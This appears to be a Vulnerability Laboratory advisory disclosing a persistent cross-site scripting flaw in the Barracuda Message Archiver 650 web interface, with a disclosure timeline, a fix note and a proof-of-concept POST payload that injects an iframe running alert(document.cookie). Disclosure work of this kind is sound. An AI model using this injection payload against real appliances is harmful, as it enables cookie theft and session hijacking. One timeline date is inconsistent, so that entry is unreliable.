Barracuda Message Archiver 650 Cross Site Scripting

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Barracuda Message Archiver 650 - Persistent Vulnerability  
  
  
References (Source):  
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http://www.vulnerability-lab.com/get_content.php?id=751  
  
Barracuda Networks Security ID (BNSEC): 703  
  
  
Release Date:  
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2014-02-18  
  
  
Vulnerability Laboratory ID (VL-ID):  
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751  
  
  
Common Vulnerability Scoring System:  
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3.5  
  
  
Product & Service Introduction:  
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The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively   
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By   
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable   
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.  
  
* Comprehensive archiving  
* Exchange stubbing  
* Search and retrieval  
* Policy management  
* Intelligent Storage Manager  
* Roles-based interface  
* Reporting and statistics  
  
The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an   
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all   
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered   
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy   
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to   
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform   
to protect against any potential security vulnerabilities.  
  
(Copy of the Vendor Homepage: http://www.barracudanetworks.com )  
  
  
Abstract Advisory Information:  
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The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.1.0.914 Appliance Application.  
  
  
Vulnerability Disclosure Timeline:  
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2013-11-08: Researcher Notification & Coordination (Benjamin Kunz Mejri)  
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Program)  
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)  
2013-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team)  
2014-02-18: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
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Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: Message Archiver 650 - Appliance Application 3.1.0.914  
  
  
Exploitation Technique:  
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Remote  
  
  
Severity Level:  
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Medium  
  
  
Technical Details & Description:  
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A persistent input validation vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.1.0.914 appliance web-application.  
The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable message archiver module.  
  
The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domänen` module. Remote attackers are able to inject own malicious script   
codes with persistent attack vector in the vulnerable domain_list_table-r0 parameter. The execution of the script code occurs in the domain_list_table-r0   
and user_domain_admin:1 appliance application response context. The request method is POST and the attack vector is persistent on the application-side of   
the barracuda networks message archiver appliance. The security risk of the input validation web vulnerability is   
estimated as medium with a cvss (common vulnerability scoring system) count of 3.5(+)|(-)3.6.  
  
Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation   
of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Benutzer > Neu Anlegen > Rolle: Auditor > Domänen  
  
Vulnerable Parameter(s):  
[+] domain_list_table-r0  
  
  
  
Proof of Concept (PoC):  
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The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low required user inter action.   
For security demonstration or to reproduce the remote vulnerability follow the provided information and steps below.  
  
Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)  
  
POST REQUEST:  
ajax_bc_sub=addDomain  
domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src  
%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C  
user=guest  
password=75361da9533223d9685576d10bd6aa02  
et=  
1352520628  
locale=de_DE  
realm=  
auth_type=Local  
primary_tab=USERS  
secondary_tab=per_user_add_update  
  
  
URL: http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&  
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM  
  
PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)  
  
<td style="vertical-align:middle;text-align:left;white-space:nowrap">  
%20​​​​​">​​​​​<iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <=""   
"="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1"   
id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>  
  
  
Reference(s):  
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi  
  
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&  
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM  
  
  
Solution - Fix & Patch:  
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The vulnerability can be patched by a secure parse of the vulnerable affected listing in the domain_list_table-r0 parameter.  
  
Barracuda Networks Appliance: Advanced->Firmware Updates page  
  
  
Security Risk:  
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The security risk of the persistent input validation web vulnerability is estimated as medium.  
  
  
Credits & Authors:  
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
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